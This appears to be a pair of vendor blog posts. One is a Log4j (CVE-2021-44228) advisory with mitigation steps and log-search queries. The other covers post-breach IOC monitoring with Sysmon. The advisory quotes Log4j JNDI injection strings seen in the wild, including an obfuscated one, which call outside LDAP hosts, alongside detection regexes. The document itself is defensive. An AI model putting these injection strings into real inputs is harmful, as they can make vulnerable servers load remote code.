The latest cyber vulnerability that lies in the Log4j open source Apache logging framework has been impacting systems worldwide. The recent vulnerability report called Log4j is a critical vulnerability for Java-based applications, as it can lead to a RCE depending on the configuration of the system. There is active exploitation in the wild and systems are reporting that various Trojans, ransomware, and crypto miners have been known to be loaded.
Some details on the vulnerability are:
- https://www.cisa.gov/uscert/ncas/current-activity
- https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability
- https://logging.apache.org/log4j/2.x/security.html
- https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability
- https://isc.sans.edu/
“CISA is working closely with our public and private sector partners to proactively address a critical vulnerability affecting products containing the log4j software library. This vulnerability, which is being widely exploited by a growing set of threat actors, presents an urgent challenge to network defenders given its broad use. End users will be reliant on their vendors, and the vendor community must immediately identify, mitigate, and patch the wide array of products using this software. Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates.”
The Snare Agents are not vulnerable to the Log4j vulnerability.
Our Snare Agents do not use any Java, Apache, IIS or .Net based components and have minimal third party-based libraries such as OpenSSL as they are based on C++ code base, which reduces the attack surface. All third party modules are updated regularly as part of software updates and depending if a vulnerability is detected in one of these modules.
The Snare Central log management and reporting system is also not vulnerable in its default configuration as its not running any Java components by default. However, if a customer has enabled the Elasticsearch option used for the add-on Analytics application, then it can raise the risk. Elasticsearch access is restricted by an authentication proxy and is not directly accessible from the network. The only direct access method is via an existing shell on the server or from the system console.
FROM THE ELASTICSEARCH ADVISORY
Elasticsearch
Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager. Elasticsearch on JDK8 or below is susceptible to an information leak via DNS which is fixed by a simple JVM property change. The information leak does not permit access to data within the Elasticsearch cluster.
SUGGESTED MITIGATION FOR SNARE CENTRAL INSTALLS IF ELASTICSEARCH HAS BEEN ENABLED
-
Update the /etc/elasticsearch/jvm.options file with the additional parameter in the log4j section around line.
-
-Dlog4j2.formatMsgNoLookups=true
-
-
Restart elasticsearch once the file has been saved with
-
“service elasticsearch restart” or “systemctl restart snare.service”.
-
-
We will incorporate this update mitigation in the next patch for Snare Central.
HOW TO USE SNARE CENTRAL TO DETECT LOG4J ATTACKS
You can use the dynamic search option to look for JNDI and LDAP requests in the webserver logs you collect using the Snare Agents using a query similar to the following:
DATE>=’5′ AND TABLE = ‘WebLog’ AND ALLFIELDS REGEXI ‘JNDI|LDAP’
This will search the WebLogs that the Snare Agents are collecting from IIS or Apache systems for the last 5 days – it is a case insensitive search. You can adjust the timeframe to suit. Indications are that attacks have been occurring since December 1st to check all the logs since then.
Typically the logs will show something in this form within the logs:
${jndi:ldap://{malicious website}/a}
Other application logs should also be reviewed for other patterns such as:
- ${jndi:ldap:/}
- ${jndi:ldaps:/}
- ${jndi:rmi:/}
- ${jndi:dns:/}
- ${jndi:iiop:/}
You can run an extended search using the following:
DATE>=’13’ AND TABLE = ‘WebLog’ AND ALLFIELDS REGEXI ‘jndi:(ldap|ldaps|rmi|dns|iiop|\$)’
Some examples of activity seen in logs”
- ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}
- ${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback
PROXY LOGS
Proxy logs can be searched using the standard reports where the logs were collected using the Snare Agents. The proxy logs may be a path to the Internet to access malicious content or used to exfiltrate data. By reviewing the top sites or users, it may highlight who and where the activity was coming from for compromised users and systems.
The standard reports are located here:
Reports\Application Audit\Proxy Servers
USER LATERAL MOVEMENT
Logins to other systems can be detected using the standard login reports to show which systems users are logging into. The report can be cloned as many times as needed with each of them having additional filters applied for specific users or groups of users to filter down to specific user account logging in to multiple systems. This could be an indication of account compromise if the user access was not legitimate. Out-of-hours login reports can also be run to see which accounts are being used in non standard working hours when the accounts would not normally be used.
The location for user login activity is found here for Windows and other operating systems:
Reports\Operating Systems\Login Activity
User and group changes can also be tracked and reported on. One of the changes the malware does is to change or add users to have privileged access. Tracking if users have been added or removed, system policy changes occurring, or audit logs being cleared can be a sign of malicious activity with the attacker trying to hide their tracks, hide group and group member changes as well as specific user changes for additional access.
Snare Central has reports for tracking administrative user activity located here:
Reports\Operating Systems\Administrative Activity
PROCESS EXECUTION
Reviewing process execution can be complicated in understanding what are normal applications used on the corporate network what are not. However, having context into what is run, then seeing what is abnormal can be done by reviewing the activities of the key systems then expanding to review other systems as needed. Where application white listing has been implemented the risk maybe lower, however not all organisations have been able to white list all application usage.
Snare Central has some base reports that allow the user to show what commands are being run on the systems.
If the customer also has sysmon installed, then it will provide additional information and parameters used in commands that are run, including PowerShell commands. The reports can be cloned as many times as needed and adjusted with additional filters to search for specific applications or exclude known white listed applications and then report on other unknown applications.
The location for process Monitoring can be found here:
Reports\Operating Systems\Process Monitoring
NETWORK ACTIVITY MONITORING
Where Snare Central is collecting firewall, router, switch and other logs from snort or other IDS/IPS systems it can help correlate actions performed by systems and/or users to show where downloads of malicious content or where data is being exfiltrated to. Reports can be created for a variety of network devices with filters being created to look for specific IP addresses of interest from either internal or external sites. In the case of this attack and any other compromised server may help narrow down what the actions were and how they were performed on the corporate network.
Some of the standard Network activity monitoring reports can be found here:
Reports\Network
DATABASE ACTIVITY MONITORING
Database Activity Monitoring – as provided using our Snare MS SQL agent – can help provide additional information on what corporate data was accessed inside the MS SQL Server databases.
By tracking the access to the databases and reviewing the contents of the SQL commands and who was running them, it can provide additional forensics combined with the other user activity performed on the systems. There are several standard reports in Snare Central that provide details on Admin and DBA activity, database activity, and usage for specific commands. Users can report on login activity, use of user rights, review specific SQL events, report on objects accessed by using custom reports, and tune them based on the customer’s specific naming conventions.
Some of the standard reports can be found here:
Reports\Application Audit\MSSQL Server
For additional information on the log4j vulnerability and Snare, please contact our sales team, here.
Author: Rhys Thornton, Solutions Consultant (EMEA), Snare
Post-Breach Remediation
Blocking a cyber threat before it has a chance to gain a foothold within your corporate infrastructure is the primary objective of many leading tools on the market today (including Snare), but what happens when those tools fail to detect a threat actor on the first pass? Whether it’s an entirely new threat, or a variation on an existing one, it is just as important to have a solid remediation process and tools to confirm your company data is not at risk.
With the FBI and CISA both issuing a warning regarding an increase in the number of ransomware attacks (FBI and CISA Issue Conti Warning – Infosecurity Magazine (infosecurity-magazine.com)) being confident in your remediation process is vital.
Snare products, combined with the enhanced logging capabilities of Sysmon, can provide enriched log data that can assist organisations with ensuring any remediation attempts have been successful. By monitoring the IOCs left behind by an existing breach, Snare and Sysmon can not only check for application hashes and malicious DNS requests across your infrastructure, they can also alert you to these events in realtime. By teaching Snare what IOCs to look for, realtime alerts can be triggered when any system in your organisation exhibits symptoms of the existing breach.
In this article I am going to focus on 2 specific features from Sysmons logging capability, these are:
Event ID 1: Process creation
The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.
Event ID 22: DNSEvent (DNS query)
This event is generated when a process executes a DNS query, whether the result is successful or fails, cached or not. The telemetry for this event was added for Windows 8.1 so it is not available on Windows 7 and earlier.
More details on other events can be found here: Sysmon – Windows Sysinternals | Microsoft Docs
Using these 2 events, we will be able to search our entire estate for any systems running a malicious process with a matching hash, as well as monitoring for any known malicious DNS requests that the application might make. This allows us to verify that remediation attempts have been successful (if we have no further events logged) or allows us to jump into action if we do see this occurring on other systems.
Pre-requisites
The following pre-requisites are required to follow along with the article:
- Sysmon needs to be installed on all systems and correctly configured to capture the required events.
- Snare agents need to be installed along side Sysmon. Along with the correct audit policies to capture Sysmon events (default Snare Agent audit policies will capture this)
- Snare Central installed and configured as a destination for our Snare agents. This enables us to monitor, search and get realtime alerts on logs as they are created.
Disclaimers
This article is designed to give an indication of the capabilities of Snare and Sysmon combined. The steps detailed in this article may not be valid for all cyber threats and each threat should be evaluated on a case-by-case basis with security professionals.
Threat
For the purposes of this article, I have created a simple program called “MaliciousApplication”. This application doesn’t do anything particularly special other than make specific DNS requests. As part of the initial breach, we identified this program to be the root cause of our issues and the DNS requests it makes are going to C&C servers on the internet.
Steps have been taken to isolate and remediate the initial machine, but we don’t know if the malicious application had the opportunity to spread throughout our systems. Instead of requiring manual remediation/investigation across our entire estate (which can take considerable time) we can monitor for the particular IOCs (program hash and DNS requests) and check/monitor our entire estate for them.
Searching estate for persistent threats
As per the pre-requisites, I have Snare agents and Sysmon installed and configured on all my systems. All Snare agents are configured to send logging data to Snare Central, which is the centralised repository for event data.
During the initial remediation we identified the below “Process Create” log as the initial inception point for the malicious application.
Along with malicious DNS request below:
These 2 logs provide a huge amount of detail, along with a number of key data points we can use to monitor our infrastructure.
Key data points to monitor:
- ParentCommandLine, this allows us to see the process that initiated the malicious code. Allowing us to further trace the root cause (for this article it will be Explorer.exe as I manually opened the program)
- Hashes, this provides us with a hash of the malicious program and a way to search for similar instances across our estate
- CommandLine, this allows to see any extended options specified in the startup of the application. This can sometimes contain extra information relevant to the breach.
- ProcessGuid, this allows to correlate other events to this process (such as DNS events) so we can perform a search for the GUID and get all events that relate to the process.
Using the “Hashes” value stored within the payload of the log, we can utilise the search functionality of Snare Central to look for a process running with a matching hash.
As you can see from the below screenshot, I have entered the hash into the search:
As I have “All Systems” selected, Snare Central will look for this hash in any logs generated from all systems. If we receive any results, it indicates that the malicious application was able to replicate itself and we need to take remediation steps immediately.
Th below results table shows there are 3 instances of this process being started on another system (the 4th log is the initial breach).
To see any other actions this process took, we can expand out the record to see its details and select the ProcessGuid.
Then perform another search on the ProcessGuid, the screenshot below shows the results:
Here we can see the entire lifecycle of the process. When it starts, the DNS requests it makes to “malicious.int.rhyss.uk” and finally the process exiting. We also have the IP address of the system stored in the “System” field, making It easy to identify affected machines.
Realtime alerts when IOCs occur
Snare Central also has the capability to monitor inbound log data and trigger email alerts in the event a specific log is received. This is completely configurable using the report builder and can allow us to receive an email alert as soon as a process starts that matches the malicious hash.
To do this I am going to create a new report called “MaliciousApplication Alert”. Then configure the report as per the below screenshot:
I have specified some criteria on the report to only match records created by Sysmon and its “Create Process” event ID. The hash is then passed in to ensure we only return results that match.
Finally, I have added the “Realtime Alert” object to the report and ticked “Send Email Alerts”. This means as soon as an event is received that matches the above criteria, an email will be sent to any recipients I specify.
Below is a screenshot of the email generated after running the malicious application on another system.
Here I can see all the information related to this particular log, such as the date/time of the event and the system the event occurred on. This provides all the information needed to start remediating the affected system immediately.
Minimise Negative Financial Impacts of System Downtime
With the number of cyber security incidents growing, it has never been more important to ensure that post breach, all remediation attempts have been effective. This ensures the business can regain trust within IT operations and minimise any negative financial impacts of system downtime. The steps outlined in this article can be applied to a number of common threats being actively exploited today, providing organisations with the detailed logging data they need to effectively remediate.
The powerful combination of Snare and Sysmon provides organisations with detailed logging data they need to be effective at this.
If you would like to know more, please use the contact our team, here.
